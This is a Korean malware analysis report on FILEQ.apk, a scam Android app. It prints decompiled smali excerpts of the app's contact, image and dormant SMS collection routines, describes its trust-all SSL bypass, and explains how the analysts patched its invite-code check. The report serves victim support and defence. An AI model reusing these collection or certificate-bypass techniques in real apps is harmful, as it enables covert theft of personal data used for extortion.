FILEQ 상세 분석 보고서

FILEQ.apk 악성앱 심층 분석 보고서

분석일: 2026-01-09 ~ 2026-02-13

분석자: 주식회사 아크링크

분석 목적: 피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 분석

보고서 버전: v3.0 (Quantum Nano Analysis)

프로젝트: Project 24

목차

0. [Executive Summary](#0-executive-summary)

1. [앱 기본 정보](#1-앱-기본-정보)

2. [권한 분석](#2-권한-분석)

3. [코드 구조 분석](#3-코드-구조-분석)

4. [데이터 수집 유틸리티 전수 분석 (uv0.smali)](#4-데이터-수집-유틸리티-전수-분석-uv0smali)

5. [DTO 분석](#5-dto-분석)

6. [네트워크/C2 분석](#6-네트워크c2-분석)

7. [SSL 우회 체인 분석](#7-ssl-우회-체인-분석)

8. [방어기제 분석](#8-방어기제-분석)

9. [데이터 탈취 분석](#9-데이터-탈취-분석)

10. [교차 분석: Variant A vs Variant B](#10-교차-분석-variant-a-vs-variant-b)

11. [기법 카탈로그](#11-기법-카탈로그)

12. [MALBIO 유전체 분석](#12-malbio-유전체-분석)

13. [피해 영향 분석](#13-피해-영향-분석)

14. [IOC (Indicators of Compromise)](#14-ioc-indicators-of-compromise)

15. [취약점 목록](#15-취약점-목록)

16. [한계점](#16-한계점)

17. [분석 타임라인](#17-분석-타임라인)

0. Executive Summary

한 눈에 보는 위협 요약

항목 · 값

**위협 등급** · **HIGH**

**패밀리** · Wavegrid Gen2 (Variant A)

**핵심 위협** · 연락처 + 이미지 전량 탈취

**C2 서버** · `[비공개]` (RuoYi 프레임워크)

**방어기제** · 초대코드 검증 1종 (우회 완료)

**우회 상태** · 성공

**총 분석 클래스** · 6,632개

**식별된 데이터 수집 메서드** · 9개 (uv0.smali)

**SSL 우회 레이어** · 3+alpha (8개 클래스)

**SMS 수집 코드** · 존재 (휴면 상태, 권한 미선언)

핵심 발견사항

1. uv0.smali = StatusUtils.java: 891줄, 9개 메서드(a~i)로 구성된 데이터 수집 허브. 연락처 3중 수집, 이미지 2중 수집, SMS 수집 코드, 통신사명 추출, 이미지 압축/캐시 기능 모두 단일 유틸리티에 집중.

2. SMS 수집 코드 잠복(T040): AndroidManifest.xml에 READ_SMS 권한이 선언되지 않았으나, uv0.g() 메서드에 content://sms/ 접근 코드가 완전히 구현되어 있음. Calendar -1일 필터링 로직까지 존재하여 Variant B보다 세련된 구현. 권한만 추가하면 즉시 활성화 가능.

3. SSL 우회 체인: 8개 클래스가 참여하는 다층 SSL 우회 구조. qx.smali(HttpsUtils), qx$b/c/d(inner TrustManagers), bb1.smali(YHttpURLConnectionFactory), bb1$a(anonymous TrustManager), ab1(HostnameVerifier), network_security_config.xml(cleartext 허용). 모든 인증서를 무조건 수락하고, 모든 호스트명을 통과시킴.

4. Variant A 고유 식별자: other_field = "yuvaluejing" 하드코딩. 이미지 업로드 시 C2 서버에 전송되는 식별 문자열로, 동일 C2를 사용하는 다수 Variant를 구분하는 데 사용되는 것으로 추정.

5. fg.smali = ContainValue.kt: C2 URL을 static final 필드로 보유. Variant B의 mr1.smali(ServerInfo.kt)이 도메인/baseURL/API 경로를 별도 관리하는 것과 달리, baseURL만 저장하고 API 경로는 HomeActivity/LoginActivity에 하드코딩.

1. 앱 기본 정보

항목 · 내용

**파일명** · FILEQ.apk

**앱 이름** · FILEQ

**패키지명 (Manifest)** · com.vsyywi.yuhngt

**내부 패키지** · com.tushiweih.wavegrid

**버전명** · 1.6.8.beta1 (v8.7.0)

**버전 코드** · 1610

**Min SDK** · 28 (Android 9)

**Target SDK** · 28 (Android 9)

**Compile SDK** · 33 (Android 13)

**파일 크기** · 약 10 MB

**프레임워크** · Native Android (Kotlin + Java)

**패밀리** · Wavegrid Gen2 (Variant A)

**위협 수준** · **HIGH**

**우회 상태** · 성공

**총 클래스(smali)** · 6,632개

1.1 패키지 구조 분석

구분 · 패키지명 · 용도

**Manifest 패키지** · com.vsyywi.yuhngt · 앱 식별자 (앱마다 변경됨)

**악성 코어 패키지** · com.tushiweih.wavegrid · Wavegrid 공통 악성 로직

**보조 식별자** · com.vsyywi.iauhqx · DYNAMIC_RECEIVER 권한 prefix

1.2 ProGuard/R8 역매핑 (확정)

난독화명 · 원본 소스 · 역할

`uv0` · StatusUtils.java · 데이터 수집 유틸리티 (9개 메서드)

`fg` · ContainValue.kt · C2 URL 상수 저장

`qx` · HttpsUtils.java · SSL/TLS 우회 유틸리티

`qx$b` · HttpsUtils inner · X509TrustManager (fallback 패턴)

`qx$c` · HttpsUtils inner · SSLSocketFactory + X509TrustManager 래퍼

`qx$d` · HttpsUtils inner · X509TrustManager (standalone, 무조건 수락)

`bb1` · YHttpURLConnectionFactory.java · HTTPS 연결 팩토리

`bb1$a` · YHttpURLConnectionFactory inner · X509TrustManager (무조건 수락)

`ab1` · R8$$SyntheticClass · HostnameVerifier (항상 true)

`qx0` · R8$$SyntheticClass · 문자열 결합 유틸 (a() = StringBuilder)

`dq0` · BlankJ SPUtils · SharedPreferences 래퍼

`qa1` · OkHttp-like HTTP client · 네트워크 요청 빌더

`s51` · MultipartBody.Part · 파일 업로드 파트

1.3 FileM과의 유전체 동일성

FILEQ와 FileM은 MALBIO 유전체 분석에서 거리 0.000 (완전 동일)으로 측정되었습니다. 이는 동일한 코드베이스에서 패키지명과 C2 도메인만 변경한 복제본임을 의미합니다.

비교 항목 · FILEQ · FileM

내부 패키지 · com.tushiweih.wavegrid · com.tushiweih.wavegrid

C2 서버 · [비공개] · [비공개]

권한 · READ_CONTACTS, READ_PHONE_STATE, READ_EXTERNAL_STORAGE · 동일

우회 패턴 · L() -> l0() · 동일

**유전체 거리** · **0.000** · **기준**

2. 권한 분석

2.1 AndroidManifest.xml 선언 권한 전수 목록

# · 권한 · 위험도 · 유형 · 피해 시나리오

1 · `READ_CONTACTS` · **위험** · 런타임 · 연락처 전체(이름+전화번호) 탈취 -> 주변인 협박에 사용

2 · `READ_PHONE_STATE` · **위험** · 런타임 · IMEI, 기기정보 수집 -> [피해자 정보 비공개] 및 재공격

3 · `READ_PHONE_NUMBERS` · **위험** · 런타임 · 본인 전화번호 탈취 -> 직접 협박 연락

4 · `READ_EXTERNAL_STORAGE` · **위험** · 런타임 · 파일/이미지 접근 (API 32 이하) -> 사진/동영상 협박

5 · `READ_MEDIA_IMAGES` · **위험** · 런타임 · 사진 탈취 (API 33+) -> 기기 모든 사진 전송

6 · `READ_MEDIA_VIDEO` · **위험** · 런타임 · 동영상 탈취 (API 33+) -> 동영상 전송

7 · `INTERNET` · 일반 · 설치 · C2 서버와 HTTPS 통신

8 · `ACCESS_NETWORK_STATE` · 일반 · 설치 · 네트워크 연결 상태 확인

9 · `DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSIONsm` · 서명 · 커스텀 · 내부 브로드캐스트 수신기 보호

2.2 미선언 권한과 휴면 기능

미선언 권한 · 관련 코드 · 상태 · 위험

`READ_SMS` · `uv0.g()` - content://sms/ 접근 · **휴면(T040)** · 권한 추가 시 SMS 전량 수집 가능

`CAMERA` · 없음 · 미구현 · -

`READ_CALL_LOG` · 없음 · 미구현 · -

T040 (휴면 기능) 상세: uv0.g() 메서드에 SMS 수집 코드가 완전히 구현되어 있으나, AndroidManifest.xml에 READ_SMS 권한이 선언되지 않아 런타임에서 SecurityException이 발생합니다. 이는 개발 중 의도적으로 비활성화했거나, 향후 업데이트에서 활성화할 목적으로 코드를 남겨둔 것으로 추정됩니다.

2.3 권한 요청 흐름 (HomeActivity.H0())

```smali

H0() 메서드: PermissionX를 사용한 동적 권한 요청

.method public final H0()V

SDK_INT >= 33 (0x21) 분기

sget v1, Landroid/os/Build$VERSION;->SDK_INT:I

const/16 v2, 0x21

if-lt v1, v2, :cond_0

API 33+: READ_MEDIA_IMAGES + READ_MEDIA_VIDEO

const-string v1, "android.permission.READ_MEDIA_IMAGES"

invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z

const-string v1, "android.permission.READ_MEDIA_VIDEO"

invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z

goto :goto_0

API < 33: READ_EXTERNAL_STORAGE

:cond_0

const-string v1, "android.permission.READ_EXTERNAL_STORAGE"

invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z

공통 권한: READ_CONTACTS + READ_PHONE_NUMBERS + READ_PHONE_STATE

:goto_0

const-string v1, "android.permission.READ_CONTACTS"

const-string v1, "android.permission.READ_PHONE_NUMBERS"

const-string v1, "android.permission.READ_PHONE_STATE"

PermissionX 라이브러리로 요청 실행

new-instance v1, Lji0; # PermissionX builder

invoke-direct {v1, p0}, Lji0;-><init>(Landroidx/fragment/app/FragmentActivity;)V

.end method

```

2.4 권한 부여 후 실행 체인

```

권한 전체 허용 (allGranted == true)

v

I0() 메서드 -> if(p1) { K0() } else { L0(100) }

v

K0(): 전화번호 수집 (TelephonyManager.getLine1Number())

v

Q0(): 연락처 수집 (uv0.c()) -> POST /webapp/saveAddressBook

v

P0(): 이미지 열거 (uv0.b()) -> 순차 업로드 /webapp/image/{userName}

```

3. 코드 구조 분석

3.1 클래스 구조

컴포넌트 · 타입 · 소스 · 역할

`com.tushiweih.wavegrid.view.LoginActivity` · Activity (LAUNCHER) · LoginActivity.kt · 초대코드 입력 및 로그인

`com.tushiweih.wavegrid.view.HomeActivity` · Activity · HomeActivity.kt · 권한 요청 + 데이터 수집/전송

`com.tushiweih.wavegrid.view.BaseActivity` · Abstract Activity · BaseActivity.kt · 공통 UI 초기화 (상태바, 레이아웃)

`com.tushiweih.wavegrid.bean.CollectBeanDTO` · Data Class · CollectBeanDTO.java · 연락처 정보 (name, number)

`com.tushiweih.wavegrid.bean.InfoBeanDTO` · Data Class · InfoBeanDTO.java · 다목적 정보 (displayName, path, content, date, type)

`com.tushiweih.wavegrid.respon.LoginResult` · Data Class · LoginResult.kt · 로그인 응답 (msg, code)

`uv0` · Static Utility · StatusUtils.java · 데이터 수집 유틸 (9개 메서드)

`fg` · Singleton · ContainValue.kt · C2 URL 상수

`qx` + inner classes · SSL Utility · HttpsUtils.java · SSL 우회 체인

`bb1` + inner class · Factory · YHttpURLConnectionFactory.java · HTTPS 연결 생성

`ab1` · Synthetic · R8$$SyntheticClass · HostnameVerifier

`qx0` · Synthetic · R8$$SyntheticClass · 문자열 결합

3.2 액티비티 흐름

```

[앱 실행]

v

LoginActivity (LAUNCHER)

-- IFFIRST == true? -> F0() -> HomeActivity로 이동

-- IFFIRST == false? -> 초대코드 입력 화면 표시

v

C0(uuid, inviteCode) 호출

v

POST [비공개]

{name: 초대코드, cId: UUID}

v

LoginActivity$a.g() 콜백:

code == 200? -> UUIDVALUE/INVITECODE 저장 -> F0() -> HomeActivity

code != 200? -> Toast 에러 메시지 (원본 로직)

[BYPASS 적용됨: code != 200도 F0() 호출]

v

HomeActivity

-- w0(): L() 호출 -> INVITECODE, ISUPLOAD 로드

-- x0(): 데이터 수집 버튼 setOnClickListener

v

J0() -> H0(): PermissionX로 권한 요청

v

I0() -> 권한 허용 시:

K0(): 전화번호 수집 (TelephonyManager.getLine1Number)

Q0(): 연락처 수집 -> POST /webapp/saveAddressBook

P0(): 이미지 열거 -> 순차 업로드 (file POST)

```

3.3 핵심 코드 분석: 로그인 콜백

LoginActivity$a.smali (코드 패치됨):

```smali

원본: code == 200이면 성공 분기

invoke-virtual {p2}, Lcom/tushiweih/wavegrid/respon/LoginResult;->e()I

move-result p1

const/16 v0, 0xc8 # 200

if-ne p1, v0, :cond_1 # code != 200이면 실패 (원본)

BYPASS: :cond_1 분기에서도 F0() 호출하도록 패치

-> code 값에 관계없이 HomeActivity로 이동

```

FILEQ의 로직 특이사항: ML/nyang과 달리, FILEQ의 원본 코드는 code == 200이 성공입니다 (if-ne로 실패 분기). 즉, 로직 반전이 없는 표준 구현입니다. 우회는 cond_1(실패) 분기에서도 F0()를 호출하도록 패치하여 구현했습니다.

3.4 HomeActivity 메서드 맵

메서드 · 접근자 · 기능 · 호출 대상

`w0()` · public · 초기화 진입점 · `L()`

`L()` · private · SP에서 INVITECODE/ISUPLOAD 로드 · `dq0` (SPUtils)

`x0()` · public · 버튼 리스너 등록 · `setOnClickListener`

`J0()` · static · 버튼 클릭 핸들러 · `H0()`

`H0()` · public · 권한 요청 (PermissionX) · `ji0` (PermissionX)

`I0()` · static · 권한 결과 콜백 · `K0()`, `L0()`

`K0()` · public · 전화번호 수집 · `TelephonyManager`

`Q0()` · public · 연락처 수집 + 전송 · `uv0.c()`, `POST saveAddressBook`

`P0()` · public · 이미지 열거 + 업로드 · `uv0.b()`, `S0()`

`S0()` · public · 단일 이미지 업로드 · `qa1` (HTTP client)

`N0()` · public · 결과 다이얼로그 · `yh0` (Dialog)

`L0()` · public · 권한 거부 다이얼로그 · `yh0` (Dialog)

`M0()` · static · 설정 이동 (권한 재요청) · `startActivityForResult`

`u0()` · public · TextView 바인딩 · `findViewById`

`v0()` · public · 레이아웃 ID 반환 · 상수

3.5 SharedPreferences 키

키 · 타입 · 용도 · 읽기 위치 · 쓰기 위치

`IFFIRST` · Boolean · 최초 실행 여부 · LoginActivity.L() · LoginActivity.F0()

`UUIDVALUE` · String · 기기 고유 식별자 · LoginActivity.C0() · LoginActivity$a

`INVITECODE` · String · 입력된 초대코드 · HomeActivity.L() · LoginActivity$a

`ISUPLOAD` · Boolean · 데이터 업로드 완료 여부 · HomeActivity.L() · HomeActivity (전송 완료 후)

3.6 BaseActivity: API 레벨 분기

```smali

SDK_INT >= 30 (API 30): WindowInsetsController 사용

sget v0, Landroid/os/Build$VERSION;->SDK_INT:I

const/16 v2, 0x1e # 30

if-lt v0, v2, :cond_0

invoke-virtual {p0, v1}, Landroid/view/Window;->setDecorFitsSystemWindows(Z)V

invoke-virtual {p0}, Landroid/view/Window;->getInsetsController()Landroid/view/WindowInsetsController;

SDK_INT < 30: 레거시 SystemUiVisibility 사용

:cond_0

invoke-virtual {p0}, Landroid/view/Window;->getDecorView()Landroid/view/View;

invoke-virtual {v0, v2}, Landroid/view/View;->setSystemUiVisibility(I)V

```

이 분기가 API 28(minSdk) 기기에서 WindowInsets$Builder 관련 크래시를 유발하여 패치 대상이 됩니다.

3.7 의존 라이브러리

라이브러리 · 패키지/클래스 · 용도

OkHttp3 · `qa1`, `me0`, `ba1` 등 · HTTP 클라이언트 (HTTPS 통신)

Gson · `com.google.gson.Gson` · JSON 직렬화/역직렬화

BlankJ AndroidUtilCode · `dq0` (SPUtils), `UtilsTransActivity` · SharedPreferences, 기기 유틸리티

PermissionX · `ji0`, `ei0` · 런타임 권한 요청 프레임워크

AndroidX · AppCompat, Fragment, Lifecycle · UI/라이프사이클

Kotlin Coroutines · `kotlinx.coroutines` · 비동기 처리

Material Components · `com.google.android.material` · UI 컴포넌트

4. 데이터 수집 유틸리티 전수 분석 (uv0.smali)

uv0.smali은 StatusUtils.java에서 R8/ProGuard로 난독화된 핵심 데이터 수집 클래스입니다. 891줄, 9개 정적 메서드(a~i)로 구성되며, 앱의 모든 데이터 수집 로직이 이 단일 클래스에 집중되어 있습니다.

4.1 메서드 전수 목록

메서드 · 반환 타입 · 매개변수 · 기능 · 수집 대상 · 호출 위치

`a()` · Bitmap · Bitmap · 이미지 JPEG 압축 · - · S0() 내부

`b()` · List\<InfoBeanDTO\> · Context · MediaStore 이미지 경로 수집 v1 · 이미지 · HomeActivity.P0()

`c()` · List\<InfoBeanDTO\> · Context · 연락처 수집 v1 (Phone.CONTENT_URI) · 연락처 · HomeActivity.Q0()

`d()` · List\<CollectBeanDTO\> · Context · 연락처 상세 수집 (2단계 쿼리) · 연락처 · 미사용

`e()` · List\<CollectBeanDTO\> · Context · 연락처 수집 v3 (직접 URI) · 연락처 · 미사용

`f()` · List\<InfoBeanDTO\> · Context · 이미지 수집 v2 (정렬, 최적화) · 이미지 · 미사용

`g()` · List\<InfoBeanDTO\> · Context · SMS 수집 (휴면) · SMS · 미사용

`h()` · String · Context · SIM 통신사명 추출 · 기기정보 · HomeActivity.Q0()

`i()` · File · Context, Bitmap, String · 이미지 캐시 파일 생성 · - · 이미지 업로드 전처리

4.2 a() - 이미지 JPEG 압축

```smali

.method public static a(Landroid/graphics/Bitmap;)Landroid/graphics/Bitmap;

ByteArrayOutputStream 생성

new-instance v0, Ljava/io/ByteArrayOutputStream;

초기 품질 100 (0x64)으로 JPEG 압축

const/16 v2, 0x64 # quality = 100

invoke-virtual {p0, v1, v2, v0}, Landroid/graphics/Bitmap;->compress(...)Z

압축 루프: 결과 크기 > 100KB(0x400 = 1KB 단위)이면 반복

:goto_0

invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B

array-length v3, v3

div-int/lit16 v3, v3, 0x400 # KB 단위 변환

if-le v3, v2, :cond_0 # <= 100KB이면 종료

품질 10%씩 감소하며 재압축

invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->reset()V

invoke-virtual {p0, v3, v1, v0}, Landroid/graphics/Bitmap;->compress(...)Z

add-int/lit8 v1, v1, -0xa # quality -= 10

goto :goto_0

결과를 ByteArrayInputStream -> BitmapFactory.decodeStream -> Bitmap 반환

:cond_0

new-instance p0, Ljava/io/ByteArrayInputStream;

invoke-static {p0, v0, v0}, Landroid/graphics/BitmapFactory;->decodeStream(...)Landroid/graphics/Bitmap;

return-object p0

.end method

```

분석: 100KB 임계치까지 품질을 10%씩 낮추며 반복 압축. Variant B(iw1.smali)와의 차이점: Variant B는 byte[]를 반환하지만, Variant A는 재디코딩하여 Bitmap을 반환합니다. 이는 이후 i() 메서드에서 캐시 파일로 저장하기 위한 설계입니다.

4.3 b() - MediaStore 이미지 경로 수집 v1

```smali

.method public static b(Landroid/content/Context;)Ljava/util/List;

MediaStore.Images.Media.EXTERNAL_CONTENT_URI 쿼리

sget-object v2, Landroid/provider/MediaStore$Images$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;

전체 컬럼 조회 (projection = null)

const/4 v3, 0x0 # projection = null (ALL columns)

invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(...)

각 행에서 _id, _display_name, _data 추출

const-string v1, "_id" # 미사용 (getLong만 하고 결과 무시)

const-string v1, "_display_name" # 미사용 (getString만 하고 결과 무시)

const-string v1, "_data" # -> InfoBeanDTO.path에 저장

InfoBeanDTO 생성, path만 설정

new-instance v2, Lcom/tushiweih/wavegrid/bean/InfoBeanDTO;

iput-object v1, v2, Lcom/tushiweih/wavegrid/bean/InfoBeanDTO;->path:Ljava/lang/String;

ArrayList에 추가 후 반복

invoke-virtual {v0, v2}, Ljava/util/ArrayList;->add(...)Z

.end method

```

분석: _id와 _display_name은 커서에서 읽지만 결과를 사용하지 않습니다. 오직 _data (파일 시스템 절대 경로)만 InfoBeanDTO.path에 저장합니다. 정렬 순서 미지정 (기본값). HomeActivity.P0()에서 직접 호출됨.

4.4 c() - 연락처 수집 v1 (Phone.CONTENT_URI)

```smali

.method public static c(Landroid/content/Context;)Ljava/util/List;

ContactsContract.CommonDataKinds.Phone.CONTENT_URI 쿼리

sget-object v2, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;

invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(...)

각 행에서 display_name, data1, contact_id 추출

const-string v1, "display_name" # -> InfoBeanDTO.displayName

const-string v2, "data1" # -> InfoBeanDTO.content (전화번호)

const-string v3, "contact_id" # getColumnIndex만 하고 getString 결과 미사용

InfoBeanDTO 생성

new-instance v3, Lcom/tushiweih/wavegrid/bean/InfoBeanDTO;

iput-object v1, v3, Lcom/tushiweih/wavegrid/bean/InfoBeanDTO;->displayName:Ljava/lang/String;

iput-object v2, v3, Lcom/tushiweih/wavegrid/bean/InfoBeanDTO;->content:Ljava/lang/String;

.end method

```

분석: Phone.CONTENT_URI를 직접 쿼리하여 display_name(이름)과 data1(전화번호)을 수집합니다. contact_id는 읽지만 미사용. InfoBeanDTO를 반환하며, 이후 Q0()에서 Gson으로 JSON 직렬화하여 C2로 전송합니다. HomeActivity.Q0()에서 직접 호출됨.

4.5 d() - 연락처 상세 수집 (2단계 쿼리)

```smali

.method public static d(Landroid/content/Context;)Ljava/util/List;

1단계: Contacts.CONTENT_URI 쿼리 (모든 연락처)

sget-object v2, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;

각 연락처에서 _id, display_name, has_phone_number 확인

const-string v2, "_id"

const-string v3, "display_name"

const-string v4, "has_phone_number"

invoke-interface {v1, v4}, Landroid/database/Cursor;->getInt(I)I

if-lez v4, :cond_0 # has_phone_number <= 0이면 스킵

2단계: Phone.CONTENT_URI 서브쿼리 (해당 연락처의 전화번호들)

const-string v4, "contact_id="

invoke-static {v4, v2}, Lqx0;->a(...)Ljava/lang/String; # "contact_id=" + _id

sget-object v6, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;

data1에서 전화번호 추출 후 정규화

const-string v5, "data1"

invoke-virtual {v5}, Ljava/lang/String;->trim()Ljava/lang/String; # 공백 제거

const-string v6, " "

const-string v7, ""

invoke-virtual {v5, v6, v7}, Ljava/lang/String;->replace(...) # 공백 제거

const-string v6, "-"

invoke-virtual {v5, v6, v7}, Ljava/lang/String;->replace(...) # 하이픈 제거

CollectBeanDTO에 저장 (name + number)

new-instance v4, Lcom/tushiweih/wavegrid/bean/CollectBeanDTO;

iput-object v3, v4, Lcom/tushiweih/wavegrid/bean/CollectBeanDTO;->name:Ljava/lang/String;

iput-object v5, v4, Lcom/tushiweih/wavegrid/bean/CollectBeanDTO;->number:Ljava/lang/String;

.end method

```

분석: 2단계 쿼리 패턴으로 has_phone_number를 확인한 후 전화번호를 추출합니다. 전화번호 정규화 로직 (trim -> 공백 제거 -> 하이픈 제거)이 적용되어 010-**- -> 010-- 형태로 통일합니다. CollectBeanDTO 반환. 현재 코드에서 호출되지 않음** (c() 메서드가 대신 사용됨).

4.6 e() - 연락처 수집 v3 (직접 URI)

```smali

.method public static e(Landroid/content/Context;)Ljava/util/List;

하드코딩된 URI로 직접 접근

const-string p0, "content://com.android.contacts/data/phones"

invoke-static {p0}, Landroid/net/Uri;->parse(...)Landroid/net/Uri;

display_name, data1 추출

const-string v1, "display_name" # -> CollectBeanDTO.name

const-string v2, "data1" # -> CollectBeanDTO.number

CollectBeanDTO 생성 (전화번호 정규화 없음!)

new-instance v3, Lcom/tushiweih/wavegrid/bean/CollectBeanDTO;

iput-object v1, v3, Lcom/tushiweih/wavegrid/bean/CollectBeanDTO;->name:Ljava/lang/String;

iput-object v2, v3, Lcom/tushiweih/wavegrid/bean/CollectBeanDTO;->number:Ljava/lang/String;

.end method

```

분석: ContactsContract 상수 대신 하드코딩된 content://com.android.contacts/data/phones URI를 사용합니다. d()와 달리 전화번호 정규화(trim/공백/하이픈 제거)가 없습니다. @SuppressLint("Range") 어노테이션이 적용되어 있어, 컬럼 인덱스 음수 가능성을 무시합니다. 현재 코드에서 호출되지 않음.본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr